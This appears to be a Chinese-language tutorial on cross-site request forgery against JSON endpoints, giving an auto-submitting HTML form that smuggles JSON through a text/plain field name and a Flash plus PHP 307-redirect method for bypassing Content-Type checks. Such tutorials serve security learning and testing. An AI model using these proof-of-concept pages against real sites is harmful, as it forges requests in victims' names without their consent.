JSON情景下的CSRF攻击

JSON情景下的XSRF攻击

限制条件

当网站的CSRF漏洞点使用的是json数据格式的时候,进行CSRF有诸多限制

  • 发送的数据需要为JSON格式,使用HTML表单难以构造发送JSON格式数据
  • Content-Type校验,使用XMLHttpRequests会向服务器发送OPTIONS预检请求

方法1

当服务器没有对Content-Type进行检测的时候,这意味着我们可以发送格式为text的数据。那么唯一的难题就是使用HTML表单构造JSON格式数据。

解决方法是为表单添加添加一组无效的键值对。

假设正常发送的表单为

1
2
3
4
{
"name":"attacker",
"email":"attacker@gmail.com"
}

而我们通常的HTML表单构造代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form id='id' action=http://vul-app.com method=post enctype="text/plain" >
<input name="name", value="attacker", type='hidden'>
<input name="email", value="attacker@gmail.com", type='hidden'>
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</center>
</html>

发送数据的格式为

1
2
name=attacker
email=attacker@gmail.com

明显是不符合JSON格式的数据,服务器不会做出正确的回应。如果服务器不介意我们多传入一组键值对,那么就可以用下面的方法通过HTML表单传送数据时自动添加的=闭合JSON数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form id='id' action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'>
<!--<input type=submit value="Submit">-->
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</center>
</html>

发送的数据格式为

1
2
3
4
5
{
"name":"attacker",
"email":"attacker@gmail.com",
"ignore_me":"=test"
}

成功构造JSON格式数据发送。

方法2

这个方法需要使用Flash。当服务器对COntent-Type进行校验时,不能通过简单的发送text格式数据构造JSON数据来利用CSRF,需要Flash+PHP307重定向结合向CSRF漏洞点发送数据。

具体流程为Flash文件请求一个php页面,php页面进行307重定向到目标网站的CSRF漏洞点。由于307是特殊重定向,他还会将从flash文件接收到的数据发送给目标站点,完成CSRF攻击。

第一,我们需要在[Flash文件](SWF file)中添加想要发送的JSON数据以及php页面链接。使用FFDec工具完成对Flash文件的编辑。

接着在自己的服务器上添加一个PHP307跳转页面

1
2
3
4
5
6
<?php

header("Location: https://targetWebPage.com/victim/endpoint/", true, 307);
#CSRF漏洞点URL

?>

此时只需要让用户请求这个Flash文件即可。

还有一种更加简单的方法,在github上有人写好了更加灵活,复用性更强的攻击方法,也是用Flash来进行绕过。不同的是不预先编辑Flash,而是根据用户的URL中参数来赋予Flash文件变量,然后触发307传递JSON数据。链接在这